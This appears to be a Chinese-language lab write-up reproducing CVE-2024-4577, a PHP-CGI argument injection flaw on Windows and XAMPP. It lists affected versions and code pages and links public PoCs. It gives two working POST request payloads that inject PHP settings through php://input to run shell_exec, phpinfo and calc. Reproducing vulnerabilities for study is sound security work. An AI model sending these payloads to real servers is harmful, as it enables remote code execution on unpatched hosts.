# CVE-2024-4577 PHP CGI 參數注入弱點漏洞復現 :::info Github PoC頁面 https://github.com/watchtowrlabs/CVE-2024-4577/tree/main https://github.com/11whoami99/CVE-2024-4577/tree/main DEVCORE研究 https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/ watchtowr的漏洞分析 https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/ ::: ## 漏洞版本 此弱點影響安裝於 Windows 作業系統上所有的 PHP 版本,詳情可參照下表: * PHP 8.3 < 8.3.8 * PHP 8.2 < 8.2.20 * PHP 8.1 < 8.1.29 XAMPP是全版本都有這個漏洞,只要是Windows版的都中招  且當 Windows 作業系統執行於下列語系時,未授權的攻擊者可直接在遠端伺服器上執行任意程式碼: * 繁體中文 (字碼頁 950) * 簡體中文 (字碼頁 936) * 日文 (字碼頁 932) 對於其它執行在英文、韓文、西歐語系之 Windows 作業系統,由於 PHP 使用情境廣泛、暫無法完全列舉並排除其利用情境 ## 漏洞復現 參考 https://blog.csdn.net/qq_48201589/article/details/139580175 ### 情景1 該漏洞使用前提是將PHP設定於CGI模式下執行 在 Apache Httpd 設定檔中透過 Action 語法將對應的 HTTP 請求交給 PHP-CGI 執行檔處理時,受此弱點影響 要利用前先到`httpd-xampp.conf`內將這幾行取消註解,然後重開apache  透過POST傳送封包 ``` POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 ... <?php echo shell_exec("dir"); ?> ``` 確認成功執行  --- 也可以透過上面附的[github PoC](https://github.com/watchtowrlabs/CVE-2024-4577/tree/main)來對此漏洞進行利用 但他程式好像寫得有點問題,只有呼叫能從網頁回傳的資訊,如phpinfo頁面才會顯示Exploit was successful 如果是那種直接呼叫向小算盤那種程式,則會因為找不到回傳的判斷所以顯示Exploit may have failed,但其實有正確執行  >害我Debug超久,被屌騙 ### 情景2 如果將PHP執行檔暴露在外的話,即使未設定PHP於CGI模式下執行,僅將PHP執行檔暴露在 CGI 目錄下也受此弱點影響 (XAMPP預設設定) 如果只用預設安裝的話可透過POST修改後的封包讓他執行php-cgi.exe ``` POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 ... <?php phpinfo();?> //注入的語法 ```  將注入語法修改成開啟calc,確認可以成功讓Windows彈出小算盤  
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up